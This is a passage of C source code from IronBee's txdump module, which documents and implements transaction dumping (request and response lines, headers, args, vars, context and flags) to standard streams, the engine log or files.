<tt>LogEvent</tt> * - <tt>PostProcess</tt> * - <tt>Logging</tt> * - <tt>TxFinished</tt> * - @<dest@> is of the form (stderr|stdout|ib|file://@<path@>[+]) * - The '+' flag means append (file only) * - @<enable@> is of the form @<flag@> [[+-]@<flag@>]> * - @<flag@> is one of: * - <tt>Basic</tt>: Dump basic TX info * - <tt>Context</tt>: Dump context info * - <tt>Connection</tt>: Dump connection info * - <tt>ReqLine</tt>: Dump request line * - <tt>ReqHdr</tt>: Dump request header * - <tt>ResLine</tt>: Dump response line * - <tt>ResHdr</tt>: Dump response header * - <tt>Flags</tt>: Dump TX flags * - <tt>Args</tt>: Dump request args * - <tt>Vars</tt>: Dump TX Vars * - <tt>Default</tt>: Default flags (Basic, ReqLine, ResLine) * - <tt>Headers</tt>: All headers (Basic, ReqLine, ReqHdr, ResLine, ResHdr) * - <tt>All</tt>: Dump all TX information * * @par TxDump directive Examples: * * - <tt>TxDump TxContext ib Basic +Context</tt> * - <tt>TxDump PostProcess file:///tmp/tx.txt All</tt> * - <tt>TxDump Logging file:///var/log/ib/all.txt+ All</tt> * - <tt>TxDump PostProcess StdOut All</tt> * * @par The txDump action * * <tt>usage: txDump:@<dest@>,[@<enable@>]</tt> * - @<dest@> is of the form (stderr|stdout|ib|file://@<path@>[+]) * - The '+' flag means append (file only) * - @<enable@> is of the form @<flag@>[,[+-]@<flag@>]> * - @<flag@> is one of: * - <tt>Basic</tt>: Dump basic TX info * - <tt>Context</tt>: Dump context info * - <tt>Connection</tt>: Dump connection info * - <tt>ReqLine</tt>: Dump request line * - <tt>ReqHdr</tt>: Dump request header * - <tt>ResLine</tt>: Dump response line * - <tt>ResHdr</tt>: Dump response header * - <tt>Flags</tt>: Dump TX flags * - <tt>Args</tt>: Dump request args * - <tt>Vars</tt>: Dump TX Vars * - <tt>Default</tt>: Default flags (Basic, ReqLine, ResLine) * - <tt>Headers</tt>: All headers (Basic, ReqLine, ReqHdr, ResLine, ResHdr) * - <tt>All</tt>: Dump all TX information * * @par txDump action Examples: * * - <tt>rule x \@eq 4 id:1 txDump:ib,Basic,+Context</tt> * - <tt>rule y \@eq 1 id:2 txDump:file:///tmp/tx.txt,All</tt> * - <tt>rule z \@eq 2 id:3 txDump:file:///var/log/ib/all.txt+,All</tt> * - <tt>rule n \@eq 5 id:4 txDump:StdOut,All</tt> * * @author <NAME> <<EMAIL>> */ #include <ironbee/bytestr.h> #include <ironbee/cfgmap.h> #include <ironbee/context.h> #include <ironbee/engine_state.h> #include <ironbee/escape.h> #include <ironbee/field.h> #include <ironbee/flags.h> #include <ironbee/list.h> #include <ironbee/mm.h> #include <ironbee/module.h> #include <ironbee/release.h> #include <ironbee/rule_engine.h> #include <ironbee/site.h> #include <ironbee/state_notify.h> #include <ironbee/string.h> #include <ironbee/strval.h> #include <ironbee/util.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <time.h> #include <sys/time.h> /* Define the module name as well as a string version of it. */ #define MODULE_NAME txdump #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /* Declare the public module symbol. */ IB_MODULE_DECLARE(); /** * Several max constants */ static const size_t MAX_LEADING_SPACES = 16;/**< Max # of leading spaces */ static const size_t MAX_METHOD = 32; /**< Max HTTP method */ static const size_t MAX_PROTOCOL = 32; /**< Max HTTP protocol */ static const size_t MAX_STATUS = 32; /**< Max response status */ static const size_t MAX_PATH_ELEMENT = 32; /**< Max size of a path element */ static const size_t MAX_FIELD_NAME = 48; /**< Max field name for printing */ static const size_t MAX_FIELD_SIZE = 256; /**< Max field value for printing */ static const size_t MAX_BS_LEN = 1024; /**< Max escaped byte string */ static const size_t MIN_BS_LEN = 5; /**< Min escaped byte string */ /** * TxDump bytestring format result flags */ #define TXDUMP_BS_NULL (1 << 0) /* NULL bytestring? */ #define TXDUMP_BS_CROPPED (1 << 1) /* Final string cropped? */ #define TXDUMP_BS_ESCAPED (1 << 2) /* Was escaping required? */ /** * Flag -> string format. * * @note If you add to this list, make sure that FLAGBUF_SIZE (below) * is sufficiently large to hold the maximum combination of these. */ static IB_STRVAL_MAP(bytestring_flags_map) = { IB_STRVAL_PAIR("NULL", TXDUMP_BS_NULL), IB_STRVAL_PAIR("CROPPED", TXDUMP_BS_CROPPED), IB_STRVAL_PAIR("JSON", TXDUMP_BS_ESCAPED), IB_STRVAL_PAIR_LAST, }; static const size_t FLAGBUF_SIZE = 24; /* See note above */ /** * TxDump quote mode */ enum txdump_qmode_t { QUOTE_ALWAYS, /**< Always quote the result string */ QUOTE_NEVER, /**< Never quote the result string */ QUOTE_AUTO, /**< Quote only if escaping required */ }; typedef enum txdump_qmode_t txdump_qmode_t; /** * TxDump enable flags */ #define TXDUMP_ENABLED (1 << 0) /* Enabled? */ #define TXDUMP_BASIC (1 << 1) /* Dump basic TX info? */ #define TXDUMP_CONN (1 << 2) /* Dump connection info? */ #define TXDUMP_CONTEXT (1 << 3) /* Dump context info? */ #define TXDUMP_REQLINE (1 << 4) /* Dump request line? */ #define TXDUMP_REQHDR (1 << 5) /* Dump request header? */ #define TXDUMP_RESLINE (1 << 6) /* Dump response line? */ #define TXDUMP_RESHDR (1 << 7) /* Dump response header? */ #define TXDUMP_FLAGS (1 << 8) /* Dump TX flags? */ #define TXDUMP_ARGS (1 << 9) /* Dump request args? */ #define TXDUMP_VARS (1 << 10) /* Dump TX vars? */ /* Default enable flags */ #define TXDUMP_DEFAULT \ ( \ TXDUMP_ENABLED | \ TXDUMP_BASIC | \ TXDUMP_REQLINE | \ TXDUMP_RESLINE \ ) /* Headers enable flags */ #define TXDUMP_HEADERS \ ( \ TXDUMP_ENABLED | \ TXDUMP_BASIC | \ TXDUMP_REQLINE | \ TXDUMP_REQHDR | \ TXDUMP_RESLINE | \ TXDUMP_RESHDR \ ) /* All enable flags */ #define TXDUMP_ALL \ ( \ TXDUMP_ENABLED | \ TXDUMP_BASIC | \ TXDUMP_CONTEXT | \ TXDUMP_CONN | \ TXDUMP_REQLINE | \ TXDUMP_REQHDR | \ TXDUMP_RESLINE | \ TXDUMP_RESHDR | \ TXDUMP_FLAGS | \ TXDUMP_ARGS | \ TXDUMP_VARS \ ) /** Transaction block flags */ #define TX_BLOCKED \ ( \ IB_TX_FBLOCK_ADVISORY | \ IB_TX_FBLOCK_PHASE | \ IB_TX_FBLOCK_IMMEDIATE \ ) /** TxDump configuration */ typedef struct txdump_config_t txdump_config_t; /** * Per-TxDump directive configuration */ struct txdump_t { ib_state_t state; /**< State */ ib_state_hook_type_t hook_type; /**< Hook type */ const char *name; /**< Event name */ ib_flags_t flags; /**< Flags defining what to txdump */ ib_logger_level_t level; /**< IB Log level */ FILE *fp; /**< File pointer (or NULL) */ const char *dest; /**< Copy of the destination string */ txdump_config_t *config; /**< TxDump configuration data */ const ib_module_t *module; /**< Pointer to module object */ }; typedef struct txdump_t txdump_t; /** * TxDump configuration */ struct txdump_config_t { ib_list_t *txdump_list; /**< List of @ref txdump_t pointers */ }; /** * TxDump global configuration */ static txdump_config_t txdump_config = { .txdump_list = NULL }; /** * Dump an item (variable args version) * * @param[in] tx IronBee Transaction * @param[in] txdump Log parameters * @param[in] nspaces Number of leading spaces (max = MAX_LEADING_SPACES) * @param[in] fmt printf-style format string * @param[in] ap Variable args list */ static void txdump_va( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *fmt, va_list ap ) VPRINTF_ATTRIBUTE(4); static void txdump_va( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *fmt, va_list ap ) { assert(tx != NULL); assert(txdump != NULL); assert(fmt != NULL); /* Limit # of leading spaces */ if (nspaces > MAX_LEADING_SPACES) { nspaces = MAX_LEADING_SPACES; } /* Prefix fmt with spaces if required. Replaces fmt. */ if (nspaces != 0) { char *fmttmp = ib_mm_alloc(tx->mm, strlen(fmt) + nspaces + 1); if (fmttmp != NULL) { memset(fmttmp, ' ', nspaces); /* Write prefix. */ strcpy(fmttmp+nspaces, fmt); /* Copy fmt string. */ fmt = fmttmp; /* Replace fmt. */ } } if (txdump->fp != NULL) { vfprintf(txdump->fp, fmt, ap); fputs("\n", txdump->fp); } else { ib_log_tx_vex(tx, txdump->level, NULL, NULL, 0, fmt, ap); } } /** * Dump an item * * @param[in] tx IronBee Transaction * @param[in] txdump Log data * @param[in] nspaces Number of leading spaces to insert (max = MAX_LEADING_SPACES) * @param[in] fmt printf-style format string */ static void txdump_v( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *fmt, ... ) PRINTF_ATTRIBUTE(4, 5); static void txdump_v( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *fmt, ... ) { assert(tx != NULL); assert(txdump != NULL); assert(fmt != NULL); va_list ap; va_start(ap, fmt); txdump_va(tx, txdump, nspaces, fmt, ap); va_end(ap); } /** * Flush the file stream * * @param[in] tx IronBee Transaction * @param[in] txdump TxDump data * * @returns Status code */ static ib_status_t txdump_flush( const ib_tx_t *tx, const txdump_t *txdump) { assert(tx != NULL); assert(txdump != NULL); if (txdump->fp != NULL) { fflush(txdump->fp); } return IB_OK; } /** * Get string of bytestring flags * * @param[in] mm Memory manager to use for allocations * @param[in] rc Error status * @param[in] flags Bytestring format flags * * @returns Pointer to flags string */ static const char *format_flags( ib_mm_t mm, ib_status_t rc, ib_flags_t flags ) { size_t count = 0; const ib_strval_t *rec; char *buf; /* If there's nothing to report, do nothing */ if ( (rc == IB_OK) && (flags == 0) ) { return ""; } buf = ib_mm_alloc(mm, FLAGBUF_SIZE+1); if (buf == NULL) { return " [?]"; } if (rc != IB_OK) { snprintf(buf, FLAGBUF_SIZE, " [%s]", ib_status_to_string(rc)); return buf; } /* Build up the string */ IB_STRVAL_LOOP(bytestring_flags_map, rec) { if (ib_flags_all(flags, rec->val)) { if (count == 0) { strcpy(buf, " ["); } else { strcat(buf, ","); } /* Copy in the string itself */ strcat(buf, rec->str); ++count; } } /* Terminate the buffer */ if (count != 0) { strcat(buf, "]"); } else { *buf = '\0'; } return buf; } /** * Escape and format a bytestring, extended version * * @param[in] tx IronBee Transaction * @param[in] txdump Log data * @param[in] bsptr Pointer to bytestring data (can be NULL) * @param[in] bslen Length of data in @a bsptr * @param[in] qmode Quoting mode * @param[in] maxlen Maximum string length (clipped at MIN_BS_LEN to MAX_BS_LEN) * @param[out] pflagbuf Pointer to buffer for flags (or NULL) * @param[out] pescaped Pointer to escaped buffer * * @returns * - IB_OK On success. * - Other on failure. */ static ib_status_t format_bs_ex( const ib_tx_t *tx, const txdump_t *txdump, const uint8_t *bsptr, size_t bslen, txdump_qmode_t qmode, size_t maxlen, const char **pflagbuf, const char **pescaped ) { assert(tx != NULL); assert(txdump != NULL); assert(pescaped != NULL); ib_status_t rc = IB_OK; char *buf; size_t slen; size_t offset; size_t size; const char *empty = (qmode == QUOTE_ALWAYS) ? "\"\"" : ""; bool is_printable = true; bool crop = false; bool quotes; ib_flags_t flags = 0; /* If the data is NULL, no need to escape */ if (bsptr == NULL) { flags |= TXDUMP_BS_NULL; *pescaped = empty; goto done; } /* Make sure that maxlen is sane */ if (maxlen > MAX_BS_LEN) { maxlen = MAX_BS_LEN; } else if (maxlen < MIN_BS_LEN) { maxlen = MIN_BS_LEN; } /* See if all of the characters are printable */ for (offset = 0; offset < bslen; ++offset) { uint8_t c = *(bsptr + offset); if (iscntrl(c) || !isprint(c) ) { is_printable = false; break; } } /* Handle the case in which is all printable */ if (is_printable) { quotes = (qmode == QUOTE_ALWAYS); crop = bslen > maxlen; slen = (crop ? maxlen : bslen); size = slen + (quotes ? 2 : 0); /* Allocate buffer, Leave room for \0 */ buf = ib_mm_alloc(tx->mm, size+1); if (buf == NULL) { *pescaped = empty; rc = IB_EALLOC; goto done; } /* Build the final string in the escaped buffer */ if (quotes) { *buf = '\"'; memcpy(buf+1, bsptr, slen); *(buf+slen+1) = '\"'; *(buf+slen+2) = '\0'; } else { strncpy(buf, (const char *)bsptr, slen); *(buf+slen) = '\0'; } if (crop) { flags |= TXDUMP_BS_CROPPED; } *pescaped = buf; goto done; } /* Escape the string */ buf = ib_mm_alloc(tx->mm, bslen * 2 + 3); if (buf == NULL) { rc = IB_EALLOC; goto done; } /* ib_string_escape_json_buf() always quotes. */ rc = ib_string_escape_json_buf(bsptr, bslen, buf, bslen * 2 + 3, &size); if (rc != IB_OK) { *pescaped = empty; goto done; } flags |= TXDUMP_BS_ESCAPED; /* Crop if required */ slen = size - 2; crop = slen > maxlen; if (crop) { flags |= TXDUMP_BS_CROPPED; *(buf+maxlen+1) = '\"'; *(buf+maxlen+2) = '\0'; } *pescaped = buf; done: if (pflagbuf != NULL) { *pflagbuf = format_flags(tx->mm, rc, flags); } return rc; } /** * Escape and format a bytestring * * @param[in] tx IronBee Transaction * @param[in] txdump Log data * @param[in] bs Byte string to log * @param[in] qmode Quoting mode * @param[in] maxlen Maximum string length (clipped at MIN_BS_LEN to MAX_BS_LEN) * @param[out] pflagbuf Pointer to buffer for flags (or NULL) * @param[out] pescaped Pointer to escaped buffer * * @returns * - IB_OK On success. * - Other on failure of format_bs_ex(). */ static ib_status_t format_bs( const ib_tx_t *tx, const txdump_t *txdump, const ib_bytestr_t *bs, txdump_qmode_t qmode, size_t maxlen, const char **pflagbuf, const char **pescaped ) { assert(tx != NULL); assert(txdump != NULL); assert(bs != NULL); assert(pescaped != NULL); ib_status_t rc; rc = format_bs_ex(tx, txdump, (bs == NULL) ? NULL : ib_bytestr_const_ptr(bs), (bs == NULL) ? 0 : ib_bytestr_length(bs), qmode, maxlen, pflagbuf, pescaped); return rc; } /** * Log a bytestr * * @param[in] tx IronBee transaction * @param[in] txdump TxDump data * @param[in] nspaces Number of leading spaces (max = MAX_LEADING_SPACES) * @param[in] label Label string * @param[in] bs Byte string to log * @param[in] maxlen Maximum string length (clipped at MIN_BS_LEN to MAX_BS_LEN) * * @returns void */ static void txdump_bs( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *label, const ib_bytestr_t *bs, size_t maxlen ) { assert(tx != NULL); assert(txdump != NULL); assert(label != NULL); assert(bs != NULL); const char *buf; const char *flagbuf; format_bs(tx, txdump, bs, QUOTE_ALWAYS, maxlen, &flagbuf, &buf); if (buf != NULL) { txdump_v(tx, txdump, nspaces, "%s = %s%s", label, buf, flagbuf); } } /** * Log a field. * * Logs a field name and value; handles various field types. * * @param[in] tx IronBee transaction * @param[in] txdump TxDump data * @param[in] nspaces Number of leading spaces (max = MAX_LEADING_SPACES) * @param[in] label Label string * @param[in] field Field to log * @param[in] maxlen Maximum string length (clipped at MIN_BS_LEN to MAX_BS_LEN) * * @returns void */ static void txdump_field( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *label, const ib_field_t *field, size_t maxlen ) { ib_status_t rc; /* Check the field name * Note: field->name is not always a null ('\0') terminated string */ if (field == NULL) { txdump_v(tx, txdump, nspaces, "%s = <NULL>", label); return; } /* Dump the field based on it's type */ switch (field->type) { case IB_FTYPE_GENERIC : /* Generic data */ { void *v; rc = ib_field_value(field, ib_ftype_generic_out(&v)); if (rc == IB_OK) { txdump_v(tx, txdump, nspaces, "%s = %p", label, v); } break; } case IB_FTYPE_NUM : /* Numeric (Integer) value */ { ib_num_t n; rc = ib_field_value(field, ib_ftype_num_out(&n)); if (rc == IB_OK) { txdump_v(tx, txdump, nspaces, "%s = %"PRId64"", label, n); } break; } case IB_FTYPE_TIME : /* Time value */ { ib_time_t t; rc = ib_field_value(field, ib_ftype_time_out(&t)); if (rc == IB_OK) { ib_timeval_t tv; char buf[30]; IB_CLOCK_TIMEVAL(tv, t); ib_clock_timestamp(buf, &tv); txdump_v(tx, txdump, nspaces, "%s = %s", label, buf); } break; } case IB_FTYPE_FLOAT : /* Floating point value */ { ib_float_t v; rc = ib_field_value(field, ib_ftype_float_out(&v)); if (rc == IB_OK) { txdump_v(tx, txdump, nspaces, "%s = %Lg", label, (long double)v); } break; } case IB_FTYPE_NULSTR : /**< NUL terminated string value */ assert(0 && "NULSTR var detected!"); break; case IB_FTYPE_BYTESTR : /* Byte string value */ { const ib_bytestr_t *bs; rc = ib_field_value(field, ib_ftype_bytestr_out(&bs)); if (rc == IB_OK) { txdump_bs(tx, txdump, nspaces, label, bs, maxlen); } break; } case IB_FTYPE_LIST : /* List */ { const ib_list_t *lst; rc = ib_field_value(field, ib_ftype_list_out(&lst)); if (rc == IB_OK) { size_t len = IB_LIST_ELEMENTS(lst); txdump_v(tx, txdump, nspaces, "%s = [%zd]", label, len); } break; } case IB_FTYPE_SBUFFER : /* Stream buffer */ txdump_v(tx, txdump, nspaces, "%s = sbuffer", label); break; default: /* Other */ txdump_v(tx, txdump, nspaces, "Unknown field type (%d)", field->type); } } /** * Log a header * * @param[in] tx IronBee transaction * @param[in] txdump TxDump data * @param[in] nspaces Number of leading spaces (max = MAX_LEADING_SPACES-2) * @param[in] label Label string * @param[in] header Header to log. May be NULL. * * @returns void */ static void txdump_header( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *label, const ib_parsed_headers_t *header ) { assert(tx != NULL); assert(txdump != NULL); assert(label != NULL); const ib_parsed_header_t *node; if (header == NULL) { txdump_v(tx, txdump, nspaces, "%s unavailable", label); return; } txdump_v(tx, txdump, nspaces, "%s", label); for (node = header->head; node != NULL; node = node->next) { const char *nbuf; const char *nflags; const char *vbuf; const char *vflags; format_bs(tx, txdump, node->name, QUOTE_AUTO, MAX_FIELD_NAME, &nflags, &nbuf); format_bs(tx, txdump, node->value, QUOTE_ALWAYS, MAX_BS_LEN, &vflags, &vbuf); txdump_v(tx, txdump, nspaces+2, "%s%s = %s%s", nbuf, nflags, vbuf, vflags); } } /** * Build a path by appending the field name to an existing path. * * @param[in] tx IronBee transaction * @param[in] txdump TxDump data * @param[in] path Base path * @param[in] field Field whose name to append * * @returns Pointer to newly allocated path string */ static const char *build_path( const ib_tx_t *tx, const txdump_t *txdump, const char *path, const ib_field_t *field ) { size_t pathlen; size_t fullpath_len; size_t tmplen; ssize_t nlen = (ssize_t)field->nlen; bool truncated = false; char *fullpath; if ( (nlen <= 0) || (field->name == NULL) ) { nlen = 0; } else if (nlen > (ssize_t)MAX_PATH_ELEMENT) { size_t i; const char *p; for (i = 0, p=field->name; isprint(*p) && (i < MAX_PATH_ELEMENT); ++i) { /* Do nothing */ } nlen = i; truncated = true; } /* Special case */ if ( (nlen == 0) || (field->name == NULL) ) { return path; } /* Allocate a path buffer */ pathlen = strlen(path); fullpath_len = pathlen + (pathlen > 0 ? 2 : 1) + nlen + (truncated ? 3 : 0); fullpath = (char *)ib_mm_alloc(tx->mm, fullpath_len); if (fullpath == NULL) { return ""; } /* Copy in the base path */ strcpy(fullpath, path); if (pathlen > 0) { strcat(fullpath, ":"); } /* Append the field's name */ tmplen = pathlen+(pathlen > 0 ? 1 : 0); memcpy(fullpath+tmplen, field->name, nlen); if (truncated) { strcpy(fullpath+tmplen+nlen, "..."); } else { fullpath[fullpath_len-1] = '\0'; } return fullpath; } /** * Dump a list * * @param[in] tx IronBee Transaction * @param[in] txdump TxDump data * @param[in] nspaces Number of leading spaces (max = 30) * @param[in] path Base path * @param[in] lst List to log * * @returns * - IB_OK On success. * - Other on failure of ib_field_value(). */ static ib_status_t txdump_list( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const char *path, const ib_list_t *lst ) { ib_status_t rc; const ib_list_node_t *node = NULL; /* Loop through the list & log everything */ IB_LIST_LOOP_CONST(lst, node) { const ib_field_t *field = (const ib_field_t *)node->data; const char *fullpath; const char *escaped; /* Build the path, escape it */ fullpath = build_path(tx, txdump, path, field); format_bs_ex(tx, txdump, (const uint8_t *)fullpath, strlen(fullpath), QUOTE_AUTO, MAX_FIELD_NAME, NULL, &escaped); switch (field->type) { case IB_FTYPE_GENERIC: case IB_FTYPE_NUM: case IB_FTYPE_FLOAT: case IB_FTYPE_TIME: case IB_FTYPE_BYTESTR: txdump_field(tx, txdump, nspaces, escaped, field, MAX_FIELD_SIZE); break; case IB_FTYPE_NULSTR: assert(0 && "NULSTR var detected!"); break; case IB_FTYPE_LIST: { const ib_list_t *v; rc = ib_field_value(field, ib_ftype_list_out(&v)); if (rc != IB_OK) { return rc; } txdump_field(tx, txdump, nspaces, escaped, field, MAX_FIELD_SIZE); txdump_list(tx, txdump, nspaces+2, fullpath, v); break; } default : break; } } /* Done */ return IB_OK; } /** * Dump a context * * @param[in] tx IronBee Transaction * @param[in] txdump TxDump data * @param[in] nspaces Number of leading spaces (max = 30) * @param[in] context Context to dump */ static void txdump_context( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const ib_context_t *context ) { const ib_site_t *site = NULL; const ib_site_location_t *location = NULL; txdump_v(tx, txdump, nspaces, "Context"); txdump_v(tx, txdump, nspaces+2, "Name = %s", ib_context_full_get(context) ); ib_context_site_get(context, &site); if (site != NULL) { txdump_v(tx, txdump, nspaces+2, "Site Name = %s", site->name); txdump_v(tx, txdump, nspaces+2, "Site ID = %s", site->id); } ib_context_location_get(context, &location); if (location != NULL) { txdump_v(tx, txdump, nspaces+2, "Location Path = %s", location->path); } } /** * Dump a request line * * @param[in] tx IronBee Transaction * @param[in] txdump TxDump data * @param[in] nspaces Number of leading spaces * @param[in] line Request line to dump */ static void txdump_reqline( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const ib_parsed_req_line_t *line ) { assert(tx != NULL); assert(txdump != NULL); if (line == NULL) { txdump_v(tx, txdump, nspaces, "Request Line unavailable"); return; } txdump_v(tx, txdump, nspaces, "Request Line:"); txdump_bs(tx, txdump, nspaces+2, "Raw", line->raw, MAX_FIELD_SIZE); txdump_bs(tx, txdump, nspaces+2, "Method", line->method, MAX_METHOD); txdump_bs(tx, txdump, nspaces+2, "URI", line->uri, MAX_FIELD_SIZE); txdump_bs(tx, txdump, nspaces+2, "Protocol", line->protocol, MAX_PROTOCOL); } /** * Dump a response line. * * @param[in] tx IronBee Transaction. * @param[in] txdump TxDump data. * @param[in] nspaces Number of leading spaces. * @param[in] line Response line to dump. May be NULL. */ static void txdump_resline( const ib_tx_t *tx, const txdump_t *txdump, size_t nspaces, const ib_parsed_resp_line_t *line ) { assert(tx != NULL); assert(txdump != NULL); if (line == NULL) { txdump_v(tx, txdump, nspaces, "Response Line unavailable"); return; } txdump_v(tx, txdump, nspaces, "Response Line:"); txdump_bs(tx, txdump, nspaces+2, "Raw", line->raw, MAX_FIELD_SIZE); txdump_bs(tx, txdump, nspaces+2, "Protocol", line->protocol, MAX_PROTOCOL); txdump_bs(tx, txdump, nspaces+2, "Status", line->status, MAX_STATUS); txdump_bs(tx, txdump, nspaces+2, "Message", line->msg, MAX_FIELD_SIZE); } /** * Log transaction details. * * Extract details from the transaction & dump them * * @param[in] ib IronBee object * @param[in] tx Transaction object * @param[in] txdump TxDump object * * @returns * - IB_OK On success. * - IB_EALLOC On allocation errors. * - Other on var failures. */ static ib_status_t txdump_tx( const ib_engine_t *ib, const ib_tx_t *tx, const txdump_t *txdump) { assert(ib != NULL); assert(tx != NULL); assert(txdump != NULL); ib_status_t rc; /* No flags set: do nothing */ if (!ib_flags_any(txdump->flags, TXDUMP_ENABLED) ) { return IB_OK; } /* Basic */ if (ib_flags_all(txdump->flags, TXDUMP_BASIC) ) { char buf[30]; const char *id; ib_clock_timestamp(buf, &tx->tv_created); txdump_v(tx, txdump, 2, "IronBee Version = %s", IB_VERSION); /* Dump the engine's instance and sensor IDs */ id = ib_engine_instance_id(ib); if (id != NULL) { txdump_v(tx, txdump, 2, "IronBee Instance ID = %s", id); } id = ib_engine_sensor_id(ib); if (id != NULL) { txdump_v(tx, txdump, 2, "Sensor ID = %s", id); } txdump_v(tx, txdump, 2, "Started = %s", buf); txdump_v(tx, txdump, 2, "Hostname = %s", tx->hostname); txdump_v(tx, txdump, 2, "Effective IP = %s", tx->remote_ipstr); txdump_v(tx, txdump, 2, "Path = %s", tx->path); txdump_v(tx, txdump, 2, "Blocking Mode = %s", ib_flags_any(tx->flags, IB_TX_FBLOCKING_MODE) ? "On" : "Off"); if (ib_tx_is_blocked(tx)) { txdump_v(tx, txdump, 2, "IsBlocked"); } if (ib_flags_any(tx->flags, TX_BLOCKED)) { if (ib_flags_any(tx->flags, IB_TX_FBLOCK_ADVISORY) ) { txdump_v(tx, txdump, 2, "Block: Advisory"); } if (ib_flags_any(tx->flags, IB_TX_FBLOCK_PHASE) ) { txdump_v(tx, txdump, 2, " Block: Phase"); } if (ib_flags_any(tx->flags, IB_TX_FBLOCK_IMMEDIATE) ) { txdump_v(tx, txdump, 2, "Block: Immediate"); } } } /* Context info */ if (ib_flags_all(txdump->flags, TXDUMP_CONTEXT) ) { txdump_context(tx, txdump, 2, tx->ctx); } /* Connection */ if (ib_flags_all(txdump->flags, TXDUMP_CONN) ) { char buf[30]; ib_clock_timestamp(buf, &tx->conn->tv_created); txdump_v(tx, txdump, 2, "Connection"); txdump_v(tx, txdump, 4, "ID = %s", tx->conn->id); txdump_v(tx, txdump, 4, "Created = %s", buf); txdump_v(tx, txdump, 4, "Remote = %s:%d", tx->conn->remote_ipstr, tx->conn->remote_port); txdump_v(tx, txdump, 4, "Local = %s:%d", tx->conn->local_ipstr, tx->conn->local_port); if (ib_flags_all(txdump->flags, TXDUMP_CONTEXT) ) { txdump_context(tx, txdump, 4, tx->conn->ctx); } } /* Request Line */ if (ib_flags_all(txdump->flags, TXDUMP_REQLINE) ) { txdump_reqline(tx, txdump, 2, tx->request_line); } /* Request Header */ if (ib_flags_all(txdump->flags, TXDUMP_REQHDR) ) { txdump_header(tx, txdump, 2, "Request Header", tx->request_header); } /* Response Line */ if (ib_flags_all(txdump->flags, TXDUMP_RESLINE) ) { txdump_resline(tx, txdump, 2, tx->response_line); } /* Response Header */ if (ib_flags_all(txdump->flags, TXDUMP_RESHDR) ) { txdump_header(tx, txdump, 2, "Response Header", tx->response_header); } /* Flags */ if (ib_flags_all(txdump->flags, TXDUMP_FLAGS) ) { const ib_strval_t *rec; txdump_v(tx, txdump, 2, "Flags = %010lx", (unsigned long)tx->flags); IB_STRVAL_LOOP(ib_tx_flags_strval_first(), rec) { bool on = ib_flags_any(tx->flags, rec->val); txdump_v(tx, txdump, 4, "%010lx \"%s\" = %s", (unsigned long)rec->val, rec->str, on ? "On" : "Off"); } } /* If the transaction never started, do nothing */ if (! ib_flags_all(tx->flags, IB_TX_FREQ_STARTED) ) { return IB_OK; } /* ARGS */ if (ib_flags_all(txdump->flags, TXDUMP_ARGS) ) { const ib_list_t *lst; ib_field_t *field; ib_var_source_t *source; txdump_v(tx, txdump, 2, "ARGS:"); rc = ib_var_source_acquire( &source, tx->mm, ib_engine_var_config_get_const(ib), IB_S2SL("ARGS") ); if (rc == IB_OK) { rc = ib_var_source_get(source, &field, tx->var_store); } if (rc == IB_OK) { txdump_field(tx, txdump, 4, "ARGS", field, MAX_FIELD_SIZE); rc = ib_field_value(field, ib_ftype_list_out(&lst)); if ( (rc != IB_OK) || (lst == NULL) ) { return rc; } txdump_list(tx, txdump, 4, "ARGS", lst); } else { ib_log_debug_tx(tx, "log_tx: Failed to get ARGS: %s", ib_status_to_string(rc)); } } /* All vars */ if (ib_flags_all(txdump->flags, TXDUMP_VARS) ) { ib_list_t *lst; txdump_v(tx, txdump, 2, "Vars:"); /* Build the list */ rc = ib_list_create(&lst, tx->mm); if (rc != IB_OK) { ib_log_debug_tx(tx, "log_tx: Failed to create tx list: %s", ib_status_to_string(rc)); return rc; } /* Extract the request headers field from the provider instance */ ib_var_store_export(tx->var_store, lst); /* Log it all */ rc = txdump_list(tx, txdump, 4, "", lst); if (rc != IB_OK) { ib_log_debug_tx(tx, "log_tx: Failed logging headers: %s", ib_status_to_string(rc)); return rc; } } /* Done */ txdump_flush(tx, txdump); return IB_OK; } /** * Check if this TX should be dumped by this TxDump * * @param[in] tx IronBee Transaction * @param[in] txdump TxDump data * * @returns True if this TX should be dumped */ static bool txdump_check_tx( const ib_tx_t *tx, const txdump_t *txdump ) { ib_status_t rc; const ib_list_node_t *node; txdump_config_t *config; /* Get my module configuration */ rc = ib_context_module_config(tx->ctx, txdump->module, (void *)&config); if (rc != IB_OK) { ib_log_error_tx(tx, "Failed to get %s module configuration: %s", txdump->module->name, ib_status_to_string(rc)); return false; } /* Loop through the TX's context configuration, see if this TxDump * is in the list. Do nothing if there is no list or it's empty. */ if ( (config->txdump_list == NULL) || (IB_LIST_ELEMENTS(config->txdump_list) == 0) ) { return false; } IB_LIST_LOOP_CONST(config->txdump_list, node) { const txdump_t *tmp = ib_list_node_data_const(node); if (tmp == txdump) { return true; } } /* This TxDump is not in the context configuration's list */ return false; } /** * Handle a TX state for TxDump * * @param[in] ib IronBee object * @param[in] tx Transaction object * @param[in] state State * @param[in] cbdata Callback data (TxDump object) * * @returns * - IB_OK If @a tx does not need to be dumped or @a tx was dumped successfully. * - Other on failure of txdump_tx(). */ static ib_status_t txdump_tx_state( ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, void *cbdata ) { assert(ib != NULL); assert(tx != NULL); assert(cbdata != NULL); const txdump_t *txdump = (const txdump_t *)cbdata; ib_status_t rc; assert(txdump->state == state); if (!txdump_check_tx(tx, txdump)) { return IB_OK; } txdump_v(tx, txdump, 0, "[TX %s @ %s]", tx->id, txdump->name); rc = txdump_tx(ib, tx, txdump); txdump_flush(tx, txdump); return rc; } /** * Handle a Request Line state for TxDump * * @param[in] ib IronBee object * @param[in] tx Transaction object * @param[in] state State * @param[in] line Parsed request line * @param[in] cbdata Callback data (TxDump object) * * @returns This always returns IB_OK. */ static ib_status_t 